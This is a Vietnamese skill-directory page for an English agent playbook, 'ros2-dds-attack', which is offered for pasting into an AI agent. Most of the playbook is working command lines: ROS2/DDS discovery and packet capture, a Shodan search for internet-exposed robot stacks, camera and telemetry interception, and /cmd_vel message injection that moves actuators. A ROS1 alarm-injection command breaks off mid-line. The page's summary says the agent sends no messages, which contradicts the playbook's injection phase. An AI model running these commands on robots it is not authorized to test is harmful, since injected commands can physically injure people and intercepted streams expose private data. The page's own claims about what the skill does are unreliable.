ros2-dds-attack
Skill này làm gì
Hướng dẫn này nói về kiểm tra bảo mật cho mạng robot ROS2, nơi các thông điệp cảm biến và điều khiển được chia sẻ qua DDS. Dành cho đội robot và người kiểm thử có phê duyệt rõ ràng, vì thông điệp có thể ảnh hưởng đến robot thật.
Khi nào nên dùng
- ✓Khi một đội robot muốn kiểm tra xem mạng robot của họ có nhận lưu lượng từ mọi thiết bị trong cùng mạng không.
- ✓Khi một đánh giá được ủy quyền cần liệt kê các chủ đề mà robot phát ra.
- ✓Khi một robot đang ở môi trường hoạt động và bất kỳ thông điệp nào cũng có thể gây hại vật lý.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Robot của chúng tôi dùng ROS2 trên một mạng chung. Bạn có thể kiểm tra xem những chủ đề nào thiết bị khác nhìn thấy được, mà không gửi lệnh nào không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent kiểm tra cài đặt multicast của mạng, liệt kê các chủ đề và node nhìn thấy được bằng quan sát thụ động, rồi báo cáo những gì thiết bị khác có thể đọc. Agent không phát hành thông điệp nào.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
ROS2 / DDS Attack Playbook
Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm
safety_critical_confirmed=truein the active OPPLAN before any publish/inject step.
Background
ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.
Phase 1 — Discovery
Network prerequisites
ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1
# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
-e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
-l 2>/dev/null | sort -u | head -40
ROS2 node and topic enumeration
If the attacker can install ros2 CLI tools (available in a Docker container
on the attacker host — no robot-side access required):
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
ros:humble \
bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"
Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time
dp = cyclonedds.domain.Domain(0) # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
print(t.name, t.type_name)
EOF
Shodan / Censys pivot (remote assessment)
Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):
shodan search 'port:7400 product:"RTPS"'
Phase 2 — Telemetry Interception
Subscribe to any topic without credentials:
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic echo /camera/image_raw --no-arr | head -50"
# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
'udp and (port 7400 or port 7401 or portrange 7410-7500)'
Topics of particular interest on robotic platforms:
| Topic pattern | Content |
|---|---|
/cmd_vel |
Velocity commands (Twist msg — direct actuator control) |
/joint_states |
Motor encoder data |
/camera/* |
Camera streams |
/gps/fix or /NavSatFix |
GPS telemetry |
/rosout |
System log (reveals software versions, errors) |
/tf / /tf_static |
Coordinate transform tree (reveals robot geometry) |
/diagnostics |
Hardware diagnostics |
Phase 3 — Message Injection (GATED — write-scope only)
STOP. Confirm
safety_critical_confirmed=true+ operator signature at/workspace/safety-attestation.txtbefore executing any publish command. A single malformed/cmd_velcan drive a robot into a person or off a ledge.
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
'{linear: {x: 0.0}, angular: {z: 0.0}}'"
# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
# '{linear: {x: 0.1}, angular: {z: 0.0}}'
MiR (Mobile Industrial Robot) ROS1 variant
MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
rostopic / rosnode instead of ros2:
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_
Câu hỏi thường gặp
DDS là gì?
Đó là lớp truyền tải mà ROS2 dùng để gửi thông điệp giữa các thành phần robot.
Khám phá có an toàn không?
Khám phá thụ động là bước đầu tiên, và hướng dẫn nói rằng việc phát hành hoặc chèn thông điệp cần xác nhận an toàn.
Vì sao đây là rủi ro vật lý?
Hướng dẫn lưu ý rằng chèn thông điệp vào robot đang hoạt động có thể gây hại vật lý.
Chi tiết
Mô tả gốc của tác giả
ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14101
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.